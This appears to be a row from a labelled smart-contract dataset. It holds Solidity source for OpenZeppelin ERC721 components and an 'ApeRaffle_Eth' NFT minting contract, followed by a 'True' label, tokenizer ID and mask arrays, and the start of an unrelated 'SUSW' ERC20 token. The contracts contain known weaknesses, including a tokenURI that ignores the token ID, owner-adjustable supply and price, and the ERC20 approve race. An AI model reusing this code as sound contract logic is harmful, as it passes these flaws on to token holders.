* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
// return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : "";
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI)) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
contract ApeRaffle_Eth is ERC721Enumerable, Ownable {
uint256 public apePrice = 80000000000000000;
uint public constant maxApePurchase = 1;
uint public ApeSup = 100;
bool public drop_is_active = false;
bool public presale_is_active = true;
string public baseURI = "https://ipfs.io/ipfs/QmRExheDJcrs1zi8AyKvVdeJYz5J9pYJ99uUdgtvGcgUvT/";
uint256 public tokensMinted = 0;
mapping(address => uint) addressesThatMinted;
struct Whitelistaddr {
uint256 presalemints;
bool exists;
}
mapping(address => Whitelistaddr) private whitelist;
constructor() ERC721("ApeRaffle_Eth", "APEONE"){
whitelist[0x0B0237aD59e1BbCb611fdf0c9Fa07350C3f41e87].exists = true;
}
function OnWhiteList(address walletaddr)
public
view
returns (bool)
{
if (whitelist[walletaddr].exists){
return true;
}
else{
return false;
}
}
function addToWhiteList (address[] memory newWalletaddr) public onlyOwner{
for (uint256 i = 0; i<newWalletaddr.length;i++){
whitelist[newWalletaddr[i]].exists = true;
}
}
function withdraw() public onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
function flipDropState() public onlyOwner {
drop_is_active = !drop_is_active;
}
function flipPresaleSate() public onlyOwner {
presale_is_active = !presale_is_active;
}
function PresaleMint(uint256 numberOfTokens) public payable{
require(presale_is_active, "Please wait until the PreMint has begun!");
require(whitelist[msg.sender].exists == true, "This Wallet is not able mint for presale");
require(numberOfTokens > 0 && tokensMinted + numberOfTokens <= ApeSup, "Purchase would exceed current max supply of APERFL's");
require(whitelist[msg.sender].presalemints + numberOfTokens <= 10,"This Wallet has already minted its 10 reserved APERFL's");
require(msg.value >= apePrice * numberOfTokens, "ETH value sent is too little for this many APERFL's");
for(uint i=0;i<numberOfTokens;i++){
if (tokensMinted < ApeSup){
whitelist[msg.sender].presalemints++;
tokensMinted++;
_safeMint(msg.sender, tokensMinted);
}
}
}
function mintApeRaffle(uint numberOfTokens) public payable {
require(drop_is_active, "Please wait until the Public sale is active to mint");
require(numberOfTokens > 0 && numberOfTokens <= maxApePurchase);
require(tokensMinted + numberOfTokens <= ApeSup, "Purchase would exceed max supply of APERFL's");
require(msg.value >= apePrice * numberOfTokens, "ETH value sent is too little for this many APERFL's");
require(((addressesThatMinted[msg.sender] + numberOfTokens) * 100) <= 100, "You have already minted in this 100 set");
addressesThatMinted[msg.sender] += numberOfTokens;
for (uint i=0;i<numberOfTokens;i++){
if (tokensMinted < ApeSup){
tokensMinted++;
_safeMint(msg.sender, tokensMinted);
}
}
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function setBaseURI(string memory newBaseURI)public onlyOwner{
baseURI = newBaseURI;
}
function changeMintPrice(uint256 newPrice) public onlyOwner {
// require(newPrice < apePrice); removing mandate to go lower
apePrice = newPrice;
}
function changeMintSupply(uint256 newSupply) public onlyOwner {
// require(newSupply < ApeSup); removing mandate to go lower
require(newSupply > totalSupply());
ApeSup = newSupply;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
26572,
7446,
29378,
1012,
4012,
2006,
16798,
2475,
1011,
5890,
1011,
2656,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2260,
1011,
2324,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
21183,
12146,
1013,
17174,
13102,
18491,
1013,
29464,
11890,
16048,
2629,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1031,
1041,
11514,
1033,
1012,
1008,
1008,
10408,
2545,
2064,
13520,
2490,
1997,
3206,
19706,
1010,
2029,
2064,
2059,
2022,
1008,
10861,
11998,
2011,
2500,
1006,
1063,
9413,
2278,
16048,
2629,
5403,
9102,
1065,
1007,
1012,
1008,
1008,
2005,
2019,
7375,
1010,
2156,
1063,
9413,
2278,
16048,
2629,
1065,
1012,
1008,
1013,
8278,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
2023,
3206,
22164,
1996,
8278,
4225,
2011,
1008,
1036,
8278,
3593,
1036,
1012,
2156,
1996,
7978,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1001,
2129,
1011,
19706,
1011,
2024,
1011,
4453,
1031,
1041,
11514,
2930,
1033,
1008,
2000,
4553,
2062,
2055,
2129,
2122,
8909,
2015,
2024,
2580,
1012,
1008,
1008,
2023,
3853,
2655,
2442,
2224,
2625,
2084,
2382,
2199,
3806,
1012,
1008,
1013,
3853,
6753,
18447,
2121,
12172,
1006,
27507,
2549,
8278,
3593,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
29464,
11890,
2581,
17465,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3223,
8278,
1997,
2019,
9413,
2278,
2581,
17465,
24577,
3206,
1012,
1008,
1013,
8278,
29464,
11890,
2581,
17465,
2003,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
19204,
3593,
1036,
19204,
2003,
4015,
2013,
1036,
2013,
1036,
2000,
1036,
2000,
1036,
1012,
1008,
1013,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
3954,
1036,
12939,
1036,
4844,
1036,
2000,
6133,
1996,
1036,
19204,
3593,
1036,
19204,
1012,
1008,
1013,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
4844,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
3954,
1036,
12939,
2030,
4487,
19150,
2015,
1006,
1036,
4844,
1036,
1007,
1036,
6872,
1036,
2000,
6133,
2035,
1997,
2049,
7045,
1012,
1008,
1013,
2724,
6226,
29278,
8095,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
6872,
1010,
22017,
2140,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// 'SUSW' 'SUSWITZ' Smart Contract
//
// Symbol : SUSW
// Name : SUSWITZ
// Total supply: 777,777,777
// Decimals : 10
//
//
//
//The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ----------------------------------------------------------------------------
contract SUSW is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "SUSW";
name = "SUSWITZ";
decimals = 10;
_totalSupply = 777777777 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
